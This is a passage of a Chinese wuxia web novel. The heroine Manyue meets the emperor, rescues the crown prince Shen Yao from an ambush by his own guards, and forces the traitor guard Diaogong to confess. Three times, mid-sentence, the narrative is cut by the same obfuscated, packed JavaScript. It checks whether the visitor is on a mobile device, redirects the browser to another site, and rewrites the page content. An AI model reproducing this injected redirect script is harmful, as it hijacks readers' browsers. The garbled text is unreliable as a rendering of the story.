今日她刚进酒楼,就被一个声音嘶哑的绸衣老公公拦了下来:“姑娘,我家老爷想请您到楼上雅间喝口茶,可否赏个脸?” “叫我满月女侠!” 他老公公立刻赔笑改口:“好好,满月女侠,我家老爷想请您到楼上雅间喝口茶,可否赏个脸?” “我不喜喝茶,要喝白椒酿,还要吃梨花肘子,你们家老爷给不给?” “给,给!您要什么都听您的,只求您能上楼上雅间见见我家老爷。”那老公公依旧满面堆笑,弓着身子,显得格外谦卑。 “你家老爷听起来倒像个好人,那就走吧。”满月说着,便跟着那老公公到了二楼雅间。 这公公是谁?其实满月看到他的第一眼就猜出来了,他正是当今皇帝的贴身太监卢公公。据说他平日在宫里趾高气扬,呼风唤雨,脾气差得很。谁承想今日见了满月,他竟然谦恭至此。满月觉得有趣,便存心逗了卢公公几句,然后才顺着梨花肘子的香气,进了雅间。 “听闻满月女侠喜欢万香楼的梨花肘子和清荷酿,老身特地提前备下,在此恭迎女侠回咱们长安城。女侠可否赏个脸,坐下来尝尝?”满月一进屋,原本坐在桌边的一个四十岁上下,穿着华丽的男人立刻起身迎接。 满月听这男人说话的语气,隐隐觉得有几分好笑。想是他生平从未放低姿态讨好过他人,说那番话时语气总有点像在命令人,偏又想竭力改正,最后落得语气奇奇怪怪,听着十分别扭。 好酒好菜近在眼前,她不愿分出心思来和这人客气,喝一碗酒,脱口便问:“老皇帝,在位好多年了吧?” 这个人,正是当朝皇帝,沈治平。 沈治平见满月猜出自己身份,一点也不惊讶,他只是尽力保持语气谦恭,道:“说来惭愧,不才碌碌无为,竟也做了十九年皇帝。” “好一个碌碌无为,好一个说来惭愧!”刹那间,三年间黎民百姓所受的苦楚、师伯侯意平的惨死、恩师官晏宁的性情大变,以及从前自己在大武宗受过的委屈和多年在外见过的种种世道不公统统涌上心头。眼前这个“天下人的主子”,竟把天下治理得如此混乱不堪!满月握着腰间的佩剑,真想立刻施展武功就把沈治平好好教训一番。 幸好,在外游历三年,此时的满月已不是昔日那个冲动起来就毫无章法的满月,她强忍住自己想揍人的冲动,问:“你的圣旨我接了,你儿子我自会护他平安,你今日为什么还要屈尊出宫见我?” 沈治平从袖中掏出一封信,道:“一封家书,恳请女侠帮朕带给微月妹妹。” “家书叫你儿子带着就是了,给我做什么?”满月没接。 “曜儿顽劣,给他朕不放心。”沈治平说。 满月的手拿过肘子,此时油津津的,她也没擦手,直接把信接过来,借雅间里香薰蜡烛的火苗,随手将信烧了。 “你!你怎能……”沈治平见状,气得想呵斥满月,又不敢呵斥。 “你的秘密,我都知道。”满月冷冷说。 沈治平身体一颤,瞬间脸色煞白。 “你……你为什么会知道?你是不是见过她了?是不是她跟你说的?” 满月嚼了口肘子,又喝了口酒,这才垂着眼皮慢悠悠道:“你们自己家的事,我本不想掺和。你这些问题,我也不会回答你。我只要你清楚一件事,你是一国之君,你的家事亦是国事,你走错一步,于朝堂,于天下来说都有可能是一场灾难。我必须得保证你这里一点乱子都不再出。所以,不管你写了什么,这封信我都不能让它见光。” 沈治平颓然坐在椅子上,整个人似乎也随着那封信化为了灰烬:“她一定还是恨我的……” 满月顾不上理他,直到一盘肘子被啃得精光,她用雅间里的白瓷盆洗了洗手,随口问:“听说左仪的心腹成日里在你身边围着,你出趟宫也不容易,怎么,费尽心思出来就是对着我伤春悲秋的?” 沈治平自嘲道:“左仪最近得到了《通天秘籍》,只顾着研究秘籍,没时间搭理朕。” 他说完,用手指敲了敲桌子,卢公公捧起一个木头盒子,恭恭敬敬送到满月面前。 “满月女侠,你先看看吧。”沈治平说。 满月打开盒子,只见盒子里躺着三道圣旨,一枚玉玺。 看见这玉玺,绕是张狂如满月,也吃了一大惊:“老皇帝,你这是做什么?” “朕这皇帝做得窝囊,玉玺拿在自己手里,这三年来没有发挥一点作用。还有宫里的时局,你不知道,再过几天,这玉玺、连同我们沈氏的江山,说不定都会从朕这里一并被左仪给抢了去。可是我不甘心啊!沈家江山要是真断送在我手里,我有何颜面去见列祖列宗?” 满月冷冷道:“你窝囊,与我何干?三年前我就骂过你,你不悔改,一意孤行提拔左仪,落得今日下场,是自食恶果。” “那年的事情,有诸多难言之隐……” 他戛然止住,喉结微动,又道:“满月女侠,那年你在春擂上骂朕,朕气病了好几日。可如今再忆,朕非但不再生气,反而愿意毫无保留的信任于你。这几年朝局波谲云诡,朕被裹挟其中,反而明白了一个道理。有些大臣,本事大,还脾气好,这种人要慎用;有些大臣,本事大,脾气也大,这种人,可以放心用。 左仪就是第一类。早些年朕手里还有权力,朕做对了事,他把朕夸上天;朕做错了,他给朕找补找补,照样能把朕捧上天。朕年轻的时候,就喜欢这样的人,所以左仪的官越做越大。 侯意平就是第二类。那时候,朕做错了事,他就在朝堂上同朕据理力争。朕嘴笨,心眼也不活络,常常被他骂得下不来台。要不是先帝驾崩前嘱咐朕要重用侯意平,朕真是一天也不想在朝堂上看到这个人。” “所以左仪要杀侯宗主,你就默许了?”满月恨道。 沈治平闭目点头。 “若不是沈曜在我手里,我真想亲手了结了你。”满月咬牙切齿。 “无妨,你想动手,现在动手就是。”沈治平说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12609643|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今玉玺在你手里,曜儿封太子的圣旨,还有两道空圣旨也在你手里,你完全可以杀了朕,毁了曜儿的册封圣旨,届时你就算是自拟圣旨登基为帝,也不是没有可能。” “反正这普天之下,能与左仪抗衡的,也只有你一个满月女侠了。” 满月抬眼:“为何是我?” “你的事情我不是不知,三年间将河西、朔北四郡守得固若金汤,左仪一党愣是一个人也没安插进去。就凭这一点,我就知你有大才。 还有,护送曜儿的圣旨朕不止给了你胡记一家镖局,只是长安以西一十九家大镖局,除你胡记镖局的满月镖头之外,其他所有镖头都已在进京路上被左仪派去的杀手杀死。唯独你,满月镖头,把左仪派去杀你的高手全部反杀,还毫发无损的准时到达京城。这么看来,左仪是当真奈何不了你。” 听到沈治平这一番评价,满月也没客气,把那个盒子接到自己手里,说:“你这人今日说了这么多话,独有一句我觉得特别对——你嘴笨,心眼不活络。” 沈治平哪想到满月突然来了这么一句,一下子不知该说什么是好。 满月喝尽壶中白椒酿,笑道:“普天之下高手如云,与左仪抗衡,其实很多人都做得。可能你自己都意识不到,如今山雨欲来,大人物藏拙,小人物保命,一众亡命之徒里你唯独把我当成了沈家王朝的救命稻草,不仅是因为我武功高强,更是因为,如今时局,只有我一人敢逆大势而上,立天下之正位,行天下之正道。” 她顿了顿,狂傲神色尽数散去,轻声道:“就像从前的侯宗主一样。” 一连赶了七八天路,太子车队已经驶进深山。 山路曲折颠簸,林木稀稀疏疏,偶尔出现的黄土坡高耸又荒芜,沈曜看得心里难受,嘴上便不耐烦起来。 “这什么破路,颠得骨头都要散架了,赶紧给本太子换条大道!” 雕弓便劝:“此处多山,只有这一条路可走,殿下忍一忍。” “我再也不想忍了,没别的路,就打道回府。什么微月姑姑,两岁之后她就再没见过我,她对我能有多亲?我硬是不去看她,她又能拿我怎样!” 雕弓又劝:“殿下再忍一会儿就好,前面的路就要好走了。” “忍,忍,你就知让我忍,可本宫是太子,凭什么要受这些苦?” 擎苍赶紧给太子递上刚泡出来的茶:“太子爷,外面日头大,您可别晒伤了。快回车里去歇着,小的给您捶腿,给您念话本听。” 太子勉强歇息在马车里,听擎苍绘声绘色的给他讲书,难得的消停了一阵。 他不知道,此时此刻,车队最前面,两个带头的护卫正在密谋。 一个护卫说:“这地方就不错,层峦叠嶂,处处是悬崖峭壁。” 另一个护卫说:“把人弄断了气,扔下山去,对外面就说马儿受惊失控,太子连人带马摔下山崖。” “这样很好。” 他俩一拍即合,其中一人拔刀为号,刹那间,一百个护卫纷纷拿起武器,调转方向,朝太子的马车围剿过去。 25. 以一敌百 一众护卫叛变只在须臾之间,沈曜还全未察觉之际,他们就已经挥刀接近了马车。 好在擎苍之前在西华门口,从满月的一番话里听出一点别的意思,这一路他时刻保持警惕,就在杀手距马车只有一步之遥时,擎苍按下了马车上的机关。 刹那间,事先藏在马车上的暗器向四面八方发射出去。 反应慢或功夫差的杀手纷纷被暗器射中,受伤倒地。 但仍有不少杀手躲过了这一波暗器雨,杀气腾腾地继续向马车靠近。 沈曜终于回过味儿来,大喊:“雕弓!护驾!” 雕弓骑马护在马车周遭,挥舞着他那张两头都嵌有尖刀的大弓,拼尽全力与杀手抵抗。 然而,杀手上百人,从四个方向同时包抄,可是能保护太子的侍卫,只有雕弓一个。此时他同时兼顾四个方位,以一敌百,凶险非常,实在不知能撑几时。 擎苍观摩着车外形式,把手按在暗器机关上,思索道:“太子,车上的暗器尚未用尽。小的这就发动机关,趁马车发射暗器的功夫,御马带您冲出去。” 沈曜点点头,冲外面大喊:“雕弓!快上车!” 雕弓愣了一下,挥弓使一招“鲲鹏展翅”,用尽全力将身边几个杀手全部击倒在地,之后迅速跳上马车。 马车外的暗格打开,成百支飞箭从暗格中发射出来,与此同时,擎苍挥舞马鞭,驾驶马车飞速向前冲刺。 擎苍驭术极佳,指挥着拉车的马儿在崎岖陡峭的山路间灵活穿梭,再加之暗器的恐吓,很快,他们就摆脱掉了身后那些杀手。 就在他们刚要松一口气之时,山坡上一支长枪飞射而下,刚好刺中马屁股。 马儿吃痛哀嚎,后蹄向后飞起。 擎苍见势不妙,立刻挥刀割断马车缰绳。 果然,下一秒,那匹马发疯一般横冲直撞,须臾之间跌落悬崖。 也是那时,数十名黑衣人持刀从一侧高山中飞身下落,刀尖直逼沈曜三人那架已经没了马的马车。 “糟糕,怎么还有杀手!”不远处的另一座山头上,一个十二三岁的小女孩吓得脸色苍白。 满月牵着这小姑娘的手,冷静道:“左仪向来做事周到,他既要派人杀太子,一定会做好万全之策。比如眼前这些杀手,他们一出京畿就已经在暗中跟随太子的车队,正是为了补今日这一招黄雀在后。” “那哥哥他们岂不是很危险?小亭请满月姐姐出手相救!” 满月摸摸小亭的头发,安抚道:“还不急,雕弓还能顶得住。” “一定要雕弓哥哥顶不住了姐姐才肯出手吗?”小亭担忧道。 “习武之人只有经历实战才能越来越强,越是这种危机时刻,越能激发雕弓的潜力。”满月又低头对小亭说,“你也是大武宗弟子,未来也是要上战场的。如今能观摩实战,该当抓住机会仔细学习、汲取经验。” 小亭摇摇头:“大武宗的弓都是用来射箭的,没有用来打人的。我没学过雕弓哥哥这个武功。” 满月道:“不必拘泥于一家之法,只要足够熟练,十八般武器的招数都可以融会贯通。不信你就仔细观察一下,别看雕弓拿着张大弓挺神气似的,其实他用的招式,你都学过。” 小亭沉下心来,目不转睛研究着雕弓的御敌招式,三五招之后,她终于找出了一些关窍:“这一招化用的是大武宗棍法第八式‘横扫八荒’,刚好能破八人围攻之困局。” “这一招化用了大武宗棍法第四招‘云上波涛’,能巧妙破解新来二人的双刀阵。” “这一招化用的是鞭法‘花雾飞焉’……” “这一招化用的是……” 小亭越看越奇,最后由衷佩服:“雕弓哥哥武功高强,小亭望尘莫及!” 满月笑道:“你才多大,等这一趟走下来,你的功夫未必比他差。” 小亭迷茫低头:“我武功一向不好,若不是有哥哥给我撑腰,我师父早就不想教我了。” 满月却没有理会她的失落,突然拍拍她,道:“雕弓撑不住了。” 小亭只看见雕弓以手撑地,一记扫堂腿击退左右数人,威风凛凛,何谈撑不住只说? 她正欲开口询问,却见两个杀手从高处跃下,挥刀直接砍向他的天灵盖,雕弓就势在地上翻滚躲避,却刚好落到另外四个杀手的埋伏圈,那四个杀手围住雕弓,挥刀便砍,雕弓反应比他们快些,拿着弓直接刺伤他们下盘。 与此同时,因为雕弓躲闪时移出太远,马车外无人把手,剩下的杀手蜂拥而上围攻马车,眨眼间,马车里里外外被被包裹得密不透风,雕弓攻不进去,沈曜也逃不出来。 擎苍嘴上骂骂咧咧,双手紧握砍缰绳用的那把小刀,英勇护在沈曜身前。 沈曜瞳孔张得老大,面对着即刻便要取他性命的杀手,他竟忘了害怕,大声质问:“你们是谁?究竟是谁派你们来杀我?” 杀手不答,挥刀就要砍沈曜的脑袋。 然而,就在刀快要落下的那一瞬,这杀手竟莫名其妙的倒在了地上,前额处还渗出血来。 不仅是他,冲上马车的所有杀手几乎同时瘫倒在地,身上均有血迹渗出。 沈曜和擎苍对视一样,同时跳下马车,只看见原本围堵在马车之外的杀手此时竟惊慌失措,四处逃窜。 然而,整条路上除了自乱阵脚的杀手,再找不出旁人。 “这是怎么回事?”沈曜问雕弓。 雕弓此时呆坐在地,左手捂住右臂,眼睛直勾勾望向西侧一个高坡,根本没有听到沈曜的问话。 沈曜和擎苍也跟着雕弓向那个方向望去。 焦黄的山坡之上,红衣少女面色冷峻,英气逼人,只见她双拳握紧,长袖一挥,握在双拳中的两捧黄沙立刻从她掌中四散飞出,黄沙粒粒分明,每一粒都以极快的速度从高处飞射而下,精准的击穿山下杀手的身体。 这一捧黄沙撒下,山路上的杀手全部被击毙中要害,或死或重伤,俱是倒地不起。 和雕弓一样,沈曜和擎苍也看呆了。 “这是什么妖术?”沈曜干巴巴问。 “回禀太子,这不是妖术,当一个人功力深不可测之时,身边的一草一木,一沙一石都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12669954|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以被用作武器,随心意而发出,如若内功深厚,使用这些东西同样可以伤人性命。”雕弓解释道。 “她功夫有那么高?”沈曜还是不愿意相信。 “如今看来,有。”雕弓道。 他俩正说着,只听一阵马蹄声从远方传来,女孩清脆的声音也随之愈来愈近:“哥哥,我来找你啦!” 擎苍早就看见了自己的妹妹小亭,只是他还有太子爷需要安抚,而小亭跟着满月还挺安全,于是便没有第一时间去和小亭相认。 “哥哥,你也忒没用了!”小亭刚离近些,就吐槽道:“你瞧雕弓哥哥,一张弓使得出神入化,在阵前以一敌百,多么英勇。你再看看你,七尺男儿,还得靠雕弓哥哥来保护,真是丢人。” 擎苍赶紧冲小亭使个眼色,示意她先别乱说话,之后退到沈曜身后介绍道:“这位是太子殿下,还不快下马给太子殿下行礼!” 干嘛要这么恭敬?满月姐姐一路上都没把这位太子放在眼里,怎么到了哥哥这里,就非得按着自己讲这些规矩?小亭心中不快,跳下马,噘着嘴草草行了个礼:“拜见太子殿下。” 擎苍在一边帮腔:“太子爷,这是家妹小亭,今年十三,在大武宗学武。小亭不懂规矩,方才冲撞了您,您可别怪罪。” 沈曜刚刚经历过生死浩劫,心里乱七八糟,更顾不上这些虚礼,他摆摆手道:“我们如今也算是生死之交了,何必在乎这些繁文缛节?以后你们谁也不用对我行礼。” 小亭立刻便站直了身子,还冲擎苍做了个鬼脸。 众人见小亭这般孩子气,俱是一乐,方才那紧张的气氛终于散去了些。 沈曜又道:“小亭,其实你哥哥挺厉害的,刚才好几次我们差点就死了,多亏他反应快,又是触发机关,又是架马车突围,又是砍断缰绳,这才保住我们性命。” 擎苍道:“太子爷,这些都是小的应该做的。” “哪有什么应不应该?那么多人叛变,只有你们擎苍雕弓二人舍命护我,这份恩情,我会记一辈子。”沈曜说完,竟双手合抱,后退半步,分别向雕弓和擎苍行了一个大礼。 “太子,使不得!”他二人赶紧去扶沈曜。 小亭却“哼”了一声,指指不远处的山坡:“你们别忘了,你们的性命其实都是满月姐姐救下的。” 三人动作一滞。 “小亭,我还没问你,你不在大武宗待着,跑到这里干什么?”擎苍问。 “满月姐姐说,我留在大武宗会成为你们的掣肘,倒不如大家同在一处,还都安全些。”小亭答。 擎苍眯眼思考一下,对太子说:“殿下,眼下局势对您不利,我和小亭都没什么武功,依小的看,还是请满月镖头同行是上上策。” 沈曜脸色犹疑。 “满月姐姐说,她不跟你们一道走。”小亭这时候插嘴。 擎苍赶紧道:“满月镖头许是在说气话,小的去劝劝,兴许就好了。” 雕弓捂着胳膊,抢在擎苍之前,与沈曜说:“我与满月师妹师出同门,兴许能说得上话,不如就先由我去请。” 26. 不孝不义 偌大的山头只有一颗枯树。 满月把小红马拴在树下,自己坐在树上,坐姿豪放不羁。 “满月师妹……”雕弓施展轻功迅速爬上山坡。 他在宫里待久了,见到比自己厉害的人,就习惯性的想行礼。他才把双手抱拳,又觉得不妥,最终松开手,有些尴尬的蹦出一句:“好久不见,你这些年过得可好?” 满月居高临下,随意踢着树干,道:“比你逍遥。” 两人没了话。 “谢谢你救我们。“雕弓又说。 满月轻蔑一笑:“你不该怪我么?怪我拦着你刺杀太子,搅了你当开国功臣的青云之路?” “师妹,你误会了。”雕弓道。 “何来误会之说?他们糊涂,但我一招一式看得明明白白,今日所有人里,第一个要刺杀沈曜的就是你!若不是你刚举弓出招就中了我的冰魄梅花针,由此而察觉到不对,怎么会迅速反水再反水?” 雕弓神色微微一变,显然,满月说的是实情。 “你可知我这冰魄梅花针的厉害?冰魄梅花毒源自红花门的《红花秘术》,中毒第一个时辰,你只会感觉伤口冰冷,第二个时辰起整条胳膊都会酸麻难耐,第三个时辰会全身红肿胀痛,第五个时辰起身体会出现大小不一的梅花状斑点,斑点处不断有鲜血渗出,恰似红梅娇艳欲滴,就这么熬到第六个时辰,你就会眼睁睁看着自己全身血液流尽,肌肤腐烂,再之后,一命呜呼。” “自从红花门灭门之后,这毒全天下只有我一个人能解,怎么样,要不要求我帮你解毒?”满月笑问。 话都说到这个份上,雕弓也不再顾左右而言他,直接道:“我就是来求满月师妹帮我解毒的。请问满月师妹,如何才肯帮我解毒?” “第一,你先回答我,你受谁人指使?” “左仪亲自找的我。”雕弓招的倒是干脆。 “你和他们是一伙的?”满月问。 “不是,埋伏在暗处的杀手是左仪养的死士,之前那些护卫,还有我,是被威逼利诱买通的。” 满月道:“你倒是没有隐瞒。” 雕弓道:“我都说了,满月师妹可以帮我解毒了吗?” 满月道:“我还没讲完呢,第二,从今日起,你必须和沈曜一条心,不能再打一点歪主意。” 雕弓一咬牙,道:“一百多护卫里,好几个都是师妹昔日的同窗,然而师妹只给了我雕弓一人悔改的机会。得师妹这份看重,雕弓定不辜负。从今以后,我会衷心护主,绝对不生二心。” 满月道:“你焉知我没给他们留活路?他们终究还是不及你罢了。” 雕弓听了这话,背后冷汗涔涔,只庆幸自己方才一念之间没有打错主意。 “你别高兴的太早,选择保护沈曜是一条很难走的路。左仪对皇位势在必得,官老师我是敌是友尚不明晰,除此之外,这十几年间另有一股强大又隐蔽的力量在搅动天下时局。我们这一路危机四伏,一不小心就可能会与天下人为敌。” “那就不成功就成仁。”雕弓道,“你断了我的退路,我如今什么都不剩了,只能硬闯。” “你不是什么都不剩。”满月道,“我知道左仪惯会用家人相要挟,你现在一定在想,你没完成任务,你父母一定活不成了。” 雕弓抬头,一脸期许。自看到小亭的那一刻,他其实就在赌,他赌满月能想到接来小亭,就一定能想到解救自己的父母。现在看来,他赌对了,满月师妹还是从前自己认识的那个满月师妹,义薄云天,侠骨豪情。 “我已经把你父母安顿好了,我亲自送出京城,现在和我父母家人在一起,在一个很安全的地方。”满月淡淡道。 雕弓竟跪下来,冲满月行了一个大礼。 满月侧了侧身子,没受那一礼。她从怀中掏出一封家书来,递给雕弓:“令尊写的,令堂还要给我些钱财,我没要。” 雕弓接过信,道:“满月师妹,什么也不多说了,剩下的路,我这条命都是你的。” 满月摇摇头:“从前你我从不说这种话。” 雕弓道:“从前你怎样待我,我以后就怎样待你。” 满月不置可否,道:“你先回吧,擎苍来了。” 雕弓耳力也不错,早就听到背后有爬山的动静,他一回头,果然看到擎苍呼哧呼哧的埋头往山上爬。 “满月师妹,那这冰魄梅花针的解药?”雕弓问。 满月笑道:“我这人睚眦必报,从前你做的事我不喜欢,今日便非要出口气不可。你走吧,解药过两个时辰我再给你。” “师妹……”此时距雕弓中冰魄梅花针还不到一个时辰,只是他方才活动剧烈,加速了血液流动,此时整个右臂已然酸麻难耐。 满月却铁了心要整他:“你再不走,擎苍可就什么都知道了。” 说话功夫,擎苍已经爬了上来,隔老远,他就冲满月招手:“满月镖师,太子殿下派小的来接您。” 雕弓只得转身离开。 “满月镖师,殿下年轻,前几日西华门外怠慢了您,这几日日日后悔,昨日还跟我说……” “叫我满月女侠。”满月打断道。 “诶,好,满月女侠,您大人大量,不计前嫌,要不是你在,今日我们几人怕是都要葬身在这荒山之中,救命之恩某齿难忘,擎苍在这里先行谢过了。”擎苍说着,规规矩矩要弓腰行礼,却发现有一股力道横在他腰间,让他弯不下腰去。 擎苍不太懂武功,却也明白,这必是满月女侠有意为之。 “我拿人钱财,忠人之事,没什么谢不谢的。”满月道。 “一码归一码,您能拿钱来到这里是一码事,这事儿我该去谢太子一家慧眼识珠。但您救了我性命,这事儿却合该我亲自谢您。” 满月不愿和他计较这些,只是问道:“你不是大武宗出来的吧?” 擎苍道:“女侠您果然好眼力。小的家贫,三年前帮人去宫中卸泔水,正巧碰上太子殿下挑选侍卫,小的鬼使神差的想混在队伍里去瞧瞧热闹,谁承想太子殿下也鬼使神差的选了小的当侍卫。” “仗义多是屠狗辈,负心尽是读书人。”满月点点头,道,“想不到沈曜这小子还挺会选人。” 擎苍见满月对自己印象不错,刚想顺着满月的心意说几句好话,把满月劝下去,谁承想满月话锋一转,道:“擎苍兄弟,我很欣赏你。但是不让我和你们一块儿走这话是沈曜自己放出来的,跟你没关系,真要叫我过去,那只得叫你家太子亲自来我这里走一趟。” 擎苍转转眼珠,问:“满月女侠,您的意思是不是,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12706015|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要太子殿下过来一趟,您就跟我们走?” 满月点点头。 擎苍想着,这句话大可理解为,只要太子来满月女侠面前走一遭就行,至于太子说不说话,说什么话,都不要紧。反正满月女侠也没规定。想到这里,擎苍贼兮兮一笑:“那您可不准反悔。” 之前局势混乱,沈曜一行人装货物的马车都被落在了后面。擎苍溜下山的时候,正碰上小亭驾回来一辆拉货的马车。 擎苍道:“殿下,先前那辆马车一定是用不了了,您要不上去看看这架马车能不能用?” 沈曜没急着上去,先问:“和她谈得怎么样了?” 擎苍道:“一两句话讲不清,殿下先上车,小的慢慢和您说。” 沈曜也就上了那辆马车。 擎苍接过马鞭,二话不说,赶着马车飞速冲上了满月所在的山头。 “好你个擎苍!你快停下!” 沈曜在车上大喊大叫,但无济于事。转眼间,马车已经停在满月面前。 擎苍冲做了树上的满月一拱手:“满月女侠,人我给您带来了。” 满月点点头,对擎苍道:“你去帮帮小亭他们。” 擎苍不放心,踌躇不敢离开。 满月无奈笑道:“我又不打他。” 他这才离开。 沈曜怒气冲冲的瞪着满月。 十五岁的沈曜,眼神干净,脸皮细腻的像个女娃娃,就算发起怒来也毫无威严。 满月坐在树上晃着腿,随口取笑:“‘便是我沈家王朝倾灭,我身边无一人可用,我也断不会和你一块儿走。’小太子,你亲口说的话,如今还算数吗?” 沈曜跳下马车,手上紧紧握着缰绳,昂然道:“自然算数。真到了那么一天,我必不会用你。” “好啊,算擎苍白忙活一场,你快牵着你的马车走开吧。”满月摆摆手作势赶人。 沈曜道:“是你不喜欢我们沈家在先,所以我不喜欢你。但你是父皇请来的人,我不用,是不孝。擎苍雕弓都是我的人,我明知前路有危险,却不为他们打算,是不义。两害相权取其轻,与其让父母担忧、让同伴涉险,不如我勉强忍你一忍。” “沈曜,其实你对你身边人真挺好的。”满月道。 沈曜道:“他们待我好,我自然要待他们好。” “那一百个侍卫,叛变前你也一直以为他们是真心待你好吧?” 满月这句话一出,沈曜眼皮立刻耷拉下来,长长的睫毛遮住漆黑的瞳孔,竟流露出几分不易察觉的委屈。 满月从树上跳下来,倚着树干,挨着自己的小红马坐到地上。 树下正好还有块石头,她拂了拂石头上的尘土,招呼沈曜:“你来,坐下。” 沈曜拽着马车的缰绳,一脸不情愿。 满月叹了口气,复又站起来,在沈曜面前把手一伸:“缰绳给我。” 沈曜瞪了一下满月,没松手。 满月语气又不得已软下几分:“我给你拴上,不抢你的马。” “我不是怕你抢马。”沈曜嘴上倔强,手上却把缰绳递给满月。 满月很熟练的将马车赶到一边,将这匹马和自己的小红马栓到一处。 之后,她自己又坐回树下,沈曜也别别扭扭的坐到那块石头上。 27. 愿岁并谢,与长友兮 沈曜在宫里见过很多宫女,他一直觉得天下所有的女子都没有区别,都像他的宫女一样,说话时恭恭敬敬的低着头,身上有一股甜腻腻的脂粉味。 满月不一样,他挨着满月坐下时,第一反应就是:这个姐姐身上的气息和所有宫女都不一样。 满月身上散发的气息,让他想到了画卷上的那种,日光照耀下闪着金色光芒的雪山,明媚热烈,又难以接近。 他自己都不想承认,他其实很喜欢这种气息。以至于,当满月再次叫他名字时,他应答的声音都不知不觉软了几分。 “沈曜,你刚才说,他们待你好,所以你待他们好。那我问你,擎苍,雕弓,甚至还有你身边的各种丫鬟侍卫,他们与你非亲非故,为什么会待你好?” 沈曜一下子被问住了,从他出生到现在,谁对他都很好,以至于,他早就习惯性的认为所有人都该对他好。 好在他不笨,很快就想到了答案:“你可是想说,我是太子,所以他们才会对我好?” 满月笑道:“千人千面,我可没叫你这样以偏概全。” “我自然不会以偏概全。”沈曜道,“擎苍雕弓就是忠义之辈,不能与那些背叛我的人混为一谈。” “还不算太傻。”满月道。 沈曜立时便接了一句:“我本就不傻,教过我诗书的老师都夸我聪明。” 满月觉得这是孩子话,本欲一笑置之,却突然想起来一件事,问:“侯宗主也夸过你?” 沈曜点点头:“侯先生曾为我讲过上古史志,他说我学东西一点既透,过目不忘,天资极佳。” “他还说别的了没?”满月问。 沈曜的脸蛋垮下来,说:“他还说我不肯安心向学,枉费聪明才智。” 满月很认同的点点头,又回到最初的话题:“如今世道不好,世上的好人也不多,能像你一样,处处为身边人打算的人更不多。但是你是太子,是未来的一国之君,这一点你若用得好,那是心胸宽广,知人善任;你若用不好,那就是偏听偏信,最后会权臣祸国。” 沈曜眉头一皱,问:“那依你的意思,怎样才算是用好?” “旁的不说,你须得先记住一句话:偏信则暗,兼听则明。”满月道。 “这句话我一早就知道!”沈曜道。 “知道有何用?你又不会用。”满月往树干上一仰,讽道,“我见你第一面,就告诉过你,你身边那一百个小鬼不能留,这话你可曾听进去一点?还有,这几年我确实不喜欢你沈家,也大闹过春擂,也在外面骂过你家老子,你因此对我有敌意,这无所谓。但你难道就一点也不好奇我为什么骂你老子吗?是我嘴欠,还是他该骂?” “我父皇是好人。”沈曜急忙辩解道,“他对我疼爱有加,与母后相敬如宾,父皇还善待宫人,礼遇群臣,心系天下。在他的治理之下,大炎朝国泰民安,物产丰饶。他这样的好人,你为什么要骂他?” 满月嫌弃的闭上眼睛,只觉得自己刚才的话全都白说了。 她平复一下心情,耐住性子问,“这些话都是谁教你的?” “左太尉,黄侍郎,张先生,李先生,陈公公,他们都这样说。还有擎苍,雕弓,他们也不反对。”沈曜想了想,觉得不够,又补充道,“我是父皇的独子,与他接触最密,就算别人不这样说,我心里也清楚父皇的为人。” “小孩儿就是好骗。” “我不小,我都十六……” “得,咱们别在这里争了。”满月打断道,“我说的话你未必肯信,倒不如你亲自去看。再走几步就是成纪县了,届时给你三天时间,你自己去看看县里是什么情况。” 满月说完,站起来拍拍衣服上的灰尘,就去解马绊。 沈曜也跟着站起来,不服气道:“你莫以为我什么都不知道,从京城出来之后,我都进过好几个州县了,县城里什么样,我再熟悉不过。” 满月轻蔑的勾勾嘴角:“你进的那种城,是不是县官在城门口接你,进城之后老百姓跪着迎你,然后你坐在马车上一路走到县衙,在县衙吃顿饭,再去最好的驿站睡个觉,第二天起床,有空就让县官陪着逛逛街市,没空的话就直接睡起觉来出城走人?” 一点不差,沈曜无言以对。 “当真是白行了五百里路。”满月吐槽一声,上了马,道,“不过也没关系,后面的路你就跟着我走,女侠我保准让你不虚此行。” 她说完,一扬马鞭,冲下山去。 “喂!”沈曜拉着自己的马车在后面大喊,“你回来帮帮我,我不会赶车……” 满月喊:“男子汉大丈夫,自己学着赶。” 满月的小红马是进贡的汗血宝马,跑起来脚下生风,一眨眼就冲到了雕弓他们跟前。 她还未停下,就听得“噼里啪啦!噼里啪啦!”一阵巨响,眼前更是烟雾缭绕。 满月勾了勾嘴角,借着烟雾的遮掩,将一个小瓷瓶掷给雕弓。 雕弓立刻拿左手接住,趁人不注意,拔出冰魄梅花针,将瓶里的药粉撒到伤口上。 